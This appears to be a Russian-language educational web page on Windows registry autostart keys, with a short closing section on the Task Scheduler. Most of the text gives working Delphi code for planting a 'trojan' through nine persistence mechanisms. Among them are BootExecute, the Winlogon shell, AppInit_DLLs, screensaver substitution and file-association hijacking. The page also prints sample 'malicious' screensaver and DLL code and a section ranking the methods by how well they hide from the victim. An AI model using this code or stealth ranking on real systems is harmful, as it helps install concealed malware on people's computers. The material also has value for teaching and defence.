HKEY_CURRENT_CONFIG



Содержит конфигурационные данные для текущего аппаратного профиля (набор изменений, внесенных в стандартную конфигурацию сервисов и устройств, установленную ключами Software и System ключа HKLM), то есть в ключе HKCC отражаются только изменения (внесенные пользователем или системой). Параметры этого ключа появляются (дублируются?) также под ключом (в ключе?) HKLM\System\CurrentControlSet\HardwareProfiles\Current).

 

автозагрузка

Ключи автозагрузки

В реестре есть несколько ключей, через которые можно организовать автозагрузку программы или DLL. Основные ключи автозагрузки приведены в таблице ниже.

Замечание: для использования редактора реестра надо иметь права администратора, поэтому для того, чтобы для текущего (в данный момент) пользователя (под текущим пользователем) внести изменения в реестр, надо этого пользователя временно сделать администратором (и не забыть потом отнять у него членство в группе администраторов).

Для работы со списком программ для автозанрузки в Windows есть стандартная программа настройки системы (MsConfig.exe) (встроена в Windows 2000 и XP), есть еще программы сторонних разработчиков - Autoruns и Anvir TaskManager (рекомендуется).

Окно программы MsConfig приведено на рисунке ниже.

Программа «Настройка системы»

Описание (определение) возможностей разных вариантов автозапуска программ

3.6.3.1 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\any_name="trojan.exe"

Для использования этого ключа реестра не нужны права администратора.

Автозагрузка происходит для текущего пользователя.

В программах обнаружения автозагрузки этот ключ хорошо виден. На рисунке ниже приведен скриншот программы MsConfig, подтверждающий вышесказанное.

Окно MsConfig

Исходный код процедуры добавления записи в реестр

procedure TForm1.GoButtonClick(Sender: TObject);

var

// Переменная реестра

h: TRegistry;

Key: string;

begin

Key:='\Software\Microsoft\Windows\CurrentVersion\Run';

h:= TRegistry.Create;

with h do

begin

RootKey:= HKEY_CURRENT_USER;

OpenKey(Key, true);

WriteString('PASOIB', Application.ExeName);

CloseKey;

Free;

end;

end;

 

3.6.3.2 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\any_name="trojan.exe"

Для использования этого ключа нужны права администратора, но автозагрузка происходит для всех пользователей.

При попытке использовать этот ключ для записи с правами пользователя выдается сообщение об ошибке, приведенное на рисунке ниже.

Сообщение об ошибке записи в реестр

 

В программах обнаружения автозагрузки этот ключ хорошо виден.

 

Исходный код процедуры добавления записи в реестр

procedure TForm1.GoButtonClick(Sender: TObject);

var

// Переменная реестра

h: TRegistry;

Key: string;

begin

Key:='\Software\Microsoft\Windows\CurrentVersion\Run';

h:= TRegistry.Create;

with h do

begin

RootKey:= HKEY_LOCAL_MACHINE;

OpenKey(Key, true);

WriteString('PASOIB', Application.ExeName);

CloseKey;

Free;

end;

end;

 

3.6.3.3 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\any_name="trojan.exe”

и

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\any_name="trojan.exe"

Данные ключи используются для однократной загрузки программы для всех пользователей. После запуска программы, ключ стирается (и если Windows «вдруг» сразу перезанружается, то можно не заметить факт использования данного ключа).

Для использования нужны права администратора.

В программе MSConfig не видно этих ключей, но видно в других.

При попытке записи этих ключей с правами пользователя выдается сообщение, представленное на рисунке выше.

Исходный код процедуры добавления записи в реестр

procedure TForm1.GoButtonClick(Sender: TObject);

var

// Переменная реестра

h: TRegistry;

Key: string;

begin

Key:='\Software\Microsoft\Windows\CurrentVersion\RunOnce';

h:= TRegistry.Create;

with h do

begin

RootKey:= HKEY_LOCAL_MACHINE;

OpenKey(Key, true);

WriteString('PASOIB', Application.ExeName);

CloseKey;

Free;

end;

end;

 

3.6.3.4 HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\BootExecute="trojan.exe"

При использовании этого ключа, автозагружаемая программа автоматически стартует еще до окончательной загрузки графической оболочки, поэтому её функционал ограничен. Сюда система автоматически прописывает программу проверки диска (chkdsk.exe) если в процессе работы (сеанса) были серьезные ошибки с этим диском и перед загрузкой ОС надо диск проверить.

С учетом сказанного в загружаемой таким образом программе нельзя использовать окна.

Для использования нужны права администратора. Грузится для всех пользователей.

При попытке записи этого ключа с правами пользователя выдается сообщение, представленное на рисунке выше.

В программах MsConfig и аналогичных ключа не видно. Его можно увидеть в редакторе реестра (Regedit).

 

Исходный код процедуры добавления записи в реестр

procedure TForm1.GoButtonClick(Sender: TObject);

var

// Переменная реестра

h: TRegistry;

Key: string;

begin

Key:='SYSTEM\CurrentControlSet\Control\Session Manager';

h:= TRegistry.Create;

with h do

begin

RootKey:= HKEY_LOCAL_MACHINE;

OpenKey(Key, true);

WriteString('BootExecute', ExtractFilePath(Application.ExeName)+'Console.exe');

CloseKey;

Free;

end;

end; по умолчанию добавлено (типа far.exe)

 

3.6.3.5 HKLM \SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon \shell="explorer.exe trojan.exe"

Для использования этого ключа нужны права администратора, но автозагрузка происходит для всех пользователей.

При попытке использовать этот ключ для записи с правами пользователя выдется сообщение об ошибке, приведенное на рисунке выше.

В программах MsConfig и аналогичных этого ключа не видно. Его можно увидеть в редакторе реестра (Regedit).

 

Исходный код процедуры добавления записи в реестр

 

procedure TForm1.GoButtonClick(Sender: TObject);

var

// Переменная реестра

h: TRegistry;

Key: string;

begin

Key:='SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon';

h:= TRegistry.Create;

with h do

begin

RootKey:= HKEY_LOCAL_MACHINE;

OpenKey(Key, true);

WriteString('Shell', 'Explorer.exe'+Application.ExeName);

CloseKey;

Free;

end;

end;

 

 

3.6.3.6 HKCU \Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\ startup="c:\trojan_folder"

 

по умолчанию %userprofile%\главное меню\программы\автозагрузка

 

При использовании этого ключа роль папки автозагрузки передается указанной в ключе папке, причем из неё загрузятся все файлы (исполняемые).

Если указать, например папку WINDOWS\SYSTEM32, то ОС попытается открыть слишком много файлов, что, скорее всего, приведет к краху.

Работает этот ключ для текущего пользователя, и, что очень важно, для его использования не нужны права администратора.

В программах MsConfig и аналогичных этого ключа не видно. Его можно увидеть в редакторе реестра.

 

Исходный код процедуры добавления записи в реестр

procedure TForm1.GoButtonClick(Sender: TObject);

var

// Переменная реестра

h: TRegistry;

Key: string;

begin

Key:='Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders';

h:= TRegistry.Create;

with h do

begin

RootKey:=HKEY_CURRENT_USER;

OpenKey(Key, true);

WriteString('startup', ExtractFilePath(Application.ExeName)+'NewStartUp');

CloseKey;

Free;

end;

end;

 

3.6.3.7 HKCU\Control Panel\Desktop\ScreenSaveActive="1"

HKCU\ControlPanel\Desktop\ScreenSaveActive\SCRNSAVE.EXE="trojan.exe"

HKCU\ControlPanel\Desktop\ScreenSaveActive\ScreenSaveTimeOut="60"

Здесь подменяется текущий хранитель экрана.

Первый ключ его активирует. Второй – указывает имя исполняемого файла. А третий – время активации скринсейвера (в данном примере = минута).

Работает этот ключ для текущего пользователя, и, что очень важно, для его использования не нужны права администратора.

В программах MsConfig и аналогичных этого ключа не видно. Его можно увидеть в редакторе реестра.

Последствия активации подмененного скринсейвера представлены на рисунке ниже.

Его действия могут быть не такими безобидными как в данном примере.

Вредоносный хранитель экрана

 

Исходный код процедуры добавления записи в реестр

procedure TForm1.GoButtonClick(Sender: TObject);

var

// Переменная реестра

h: TRegistry;

Key: string;

begin

Key:='Control Panel\Desktop';

h:= TRegistry.Create;

with h do

begin

RootKey:=HKEY_CURRENT_USER;

OpenKey(Key, true);

WriteString('ScreenSaveActive', '1');

CloseKey;

Free;

end;

 

Key:='Control Panel\Desktop\';

h:= TRegistry.Create;

with h do

begin

RootKey:=HKEY_CURRENT_USER;

OpenKey(Key, true);

WriteString('SCRNSAVE.EXE',

ExtractFilePath(Application.ExeName)

+'Screensaver\Screensaver.exe');

CloseKey;

Free;

end;

 

Key:='Control Panel\Desktop\';

h:= TRegistry.Create;

with h do

begin

RootKey:=HKEY_CURRENT_USER;

OpenKey(Key, true);

WriteString('ScreenSaveTimeOut','60');

CloseKey;

Free;

end;

 

end;

 

Исходный код вредоносного скринсейвера

procedure TForm1.FormCreate(Sender: TObject);

var

dc: hdc;

i: integer;

begin

Randomize;

dc:= GetDc(0);

SetBkMode(dc, TRANSPARENT);

settextcolor(dc,clred);

MoveToEx(Dc, 0, 0, nil);

LineTo(Dc, 300, 300);

For i:=1 to 100 do

TextOut(dc,Random(800),Random(600),

'Вредоносный скринсейвер',23);

ReleaseDc(0, Dc);

Application.Terminate;

end;

 

3.6.3.8 HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Windows\

AppInit_DLLs="<path>\trojan.dll"

Замечание: кроме параметра AppInit_DLLs (у меня со значением c:\progra~1\agnitum\outpos~1\wl_hook.dll) по указанному пути есть еще LoadAppInit_DLLs (у меня со значением 1).

Использование этого ключа очень опасно, так как он очень критичен для ОС и поведение ОС непредсказуемо. В примере при запуске любой программы возникает ошибка и загружается наша вредоносная библиотека (и то, что в ней).

Последствия представлены на рисунке ниже.

Работает этот ключ для всех пользователей, но для его использования нужны права администратора.

В программах MsConfig и аналогичных этого ключа не видно.

Библиотека начинает работать еще до перезагрузки системы, при запуске любой программы.

 

 

Вредоносная библиотека

 

Исходный код процедуры добавления записи в реестр

procedure TForm1.GoButtonClick(Sender: TObject);

var

// Переменная реестра

h: TRegistry;

Key: string;

begin

Key:='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows';

h:= TRegistry.Create;

with h do

begin

RootKey:= HKEY_LOCAL_MACHINE;

OpenKey(Key, true);

WriteString('AppInit_DLLs', ExtractFilePath(Application.ExeName)+'Dll\Dllproject.dll');

CloseKey;

Free;

end;

end;

Исходный код вредоносной DLL

 

library DllProject;

 

uses

SysUtils,

Classes, windows;

 

{$R *.res}

 

Function TextOnScreen (I: Integer): Integer; stdcall;

Var

dc: hdc;

x:integer;

begin

Randomize;

dc:= GetDc(0);

For x:=1 to 10 do

TextOut(dc,Random(800),Random(600),'Вредоносная DLL',16);

ReleaseDc(0, Dc);

result:= 1;

end;

 

begin

TextOnScreen(1);

end.

 

3.6.3.9 Регистрация расширения и программы для него (Ветка HKEY_CLASSES_ROOT)

Можно переопределить программы для открытия стандартных расширений, например *.txt, *.doc и т.п. (для txt - HKEY_CLASSES_ROOT\.txtfile) И при открытии он откроется нужной нам программой.

Работает этот ключ для всех пользователей, но для его использования нужны права администратора.

В программах MsConfig и аналогичных этого ключа не видно.

 

Исходный код процедуры добавления записи в реестр

procedure TForm1.RegisterFileType(ext: string; FileName: string);

var

reg: TRegistry;

begin

reg:=TRegistry.Create;

with reg do

begin

RootKey:=HKEY_CLASSES_ROOT;

OpenKey('.'+ext,True);

WriteString('',ext+'file');

CloseKey;

CreateKey(ext+'file');

OpenKey(ext+'file\DefaultIcon',True);

WriteString('',FileName+',0');

CloseKey;

OpenKey(ext+'file\shell\open\command',True);

WriteString('',FileName+' "%1"');

CloseKey;

Free;

end;

end;

 

procedure TForm1.Button1Click(Sender: TObject);

begin

RegisterFileType('142', Application.ExeName);

end;

На рисунке ниже представлен файл «Файл.142». Видно, что он имеет значок ассоциированной с ним программы (Delphi), и поэтому пользователь ничего не заподозрит.

Файл с расширением 142

3.6.3.10 Сравнение рассмотренных вариантов внедрения:

При выборе метода внедрения вредоносных программ основополагающими факторами являются:

- скрытность проникновения:

- трудность обнаружения вредоносного воздействия;

- трудность устранения вредоносного воздействия.

Самые простые способы внедрения - ключи автозагрузки общего назначения, рассмотренные в 1 и 2.

Ключи в пункте 3 реализуют однократную загрузку и тем самым скрывают следы проникновения вредоносного приложения на компьютер. Пока жертва поймет, что произошло внедрение - уже будет поздно, ключи после однократной загрузки сразу удаляются.

Ключи, рассмотренные в пунктах 4,5, 6 и 7 имеют одно преимущество: многие пользователи не знают об их существовании, и поэтому, даже обнаружив вредоносную программу, не сразу смогут найти то место в реестре, где она прописана.

Способ, описанный в пункте 7 очень оригинальный. Жертва не всегда заподозрит в своих бедах «безобидный» хранитель экрана. Можно сделать хранитель экрана, похожий на стандартный, и встроить в него вредоносные функции, вот тогда раскрыть подвох будет еще сложнее.

Способ, описанный в пункте 8 имеет место быть, но использовать его при внедрении не очень удобно, так как реакция системы на загружаемую DLL будет непредсказуема.

Способ, описанный в пункте 9 не очень скрытный. Так как если закрепить свою программу за известным расширением, то жертва сразу это обнаружит.

Лучшим способом внедрения можно считать способ, описанный в пункте 7, так как при его использовании не нужны права администратора, не обнаруживается программами анализа ключей автозагрузки, не известен простым пользователям.

Список литературы по 3.6 «Внедрение программ через реестр Windows»

  1. Журнал «Хакер» (Ноябрь 2004г)
  2. Справочник Delphi World (http://www.delphiworld.narod.ru)
  3. Дмитрий Скляров "Искусство защиты и взлома информации"

 

 

Планировщик заданий в Windows Vista и Windows 7

В Windows Vista планировщик заданий подвергся значительной переработке по сравнению с Windows XP. Изменения коснулись не только интерфейса, но и функциональности, которая значительно расширилась, позволяя осуществлять более гибкую настройку задач. Но, пожалуй, основное изменение в произошло в назначении планировщика - теперь это важный системный инструмент, потому что на него возложено большое количество задач, обеспечивающих нормальную работу системы и ее оптимизацию.

В планировщике есть несколько скрытых заданий, которые не видны в обычном режиме просмотра. Очевидно, эти задания достаточно важны, иначе создатели ОС не стали бы их скрывать от несведущих пользователей.

Открыть планировщик заданий можно из меню Пуск - Панель управления - Администрирование - Планировщик заданий или выполнив команду taskschd.msc из Пуск - Выполнить.

Для того чтобы отобразить все задания, в правой части окна Планировщика в пункте меню Вид выберите подпункт Отобразить скрытые задачи. Этот выбор не запоминается, поэтому при следующем запуске планировщика скрытые задачи снова нужно отобразить, если вы хотите их увидеть.

Какие же задачи возложены на планировщик Windows Vista? В левой панели последовательно раскройте узлы Библиотека планировщика заданий, Microsoft и Windows. Вы увидите дерево папок, во многих из которых размещены назначенные задания.


Если щелкнуть по значку (вверху) «Планировщик заданий (Локальный)», то внизу окна Планировщика можно видеть Список активных заданий. Большинство заданий Планировщика можно отнести к одной из двух условных групп:

· выполняющиеся по событию;

· выполняющиеся при запуске компьютера или при входе пользователя в систему.

 

Задания, выполняющиеся по событию, регистрируемому в журнале (eventvwr.msc), выполняются редко, либо не выполняются совсем.

Б о льшая часть заданий относится ко второй группе. Хотя эти задания привязаны к загрузке системы, для некоторых настроен отложенный запуск. Другими словами, задания выполняются спустя какое-то время после запуска компьютера или входа пользователя в систему, причем не одновременно.

 

К какой из групп относится конкретное задание определяется его (задания) триггерами.

При желании можно создать свою задачу для Планировщика (меню справа вверху).

Каждое задание если надо можно отключить (справа в меню пункт - Отключить).

 

Замечание: Из ненужных в Планировщике можно найти по крайней мере две группы заданий:

- Customer Experience Improvement Program (программа улучшения поддержки пользователей). Участие в программе добровольно, а параметры участия в ней настраиваются при помощи элемента панели управления Отчеты о проблемах и решения (поэтому задача в планировщике не играет особой роли).

- Windows Error Reporting (отчеты об ошибках). Отправка отчетов об ошибках также подразумевает передачу данных о вашей системе, но в каждом случае требуется ваше согласие. Задача в планировщике лишь обрабатывает очередь отчетов.

 

 


Дата добавления: 2016-01-04; просмотров: 1; Мы поможем в написании вашей работы!

Поделиться с друзьями:






Мы поможем в написании ваших работ!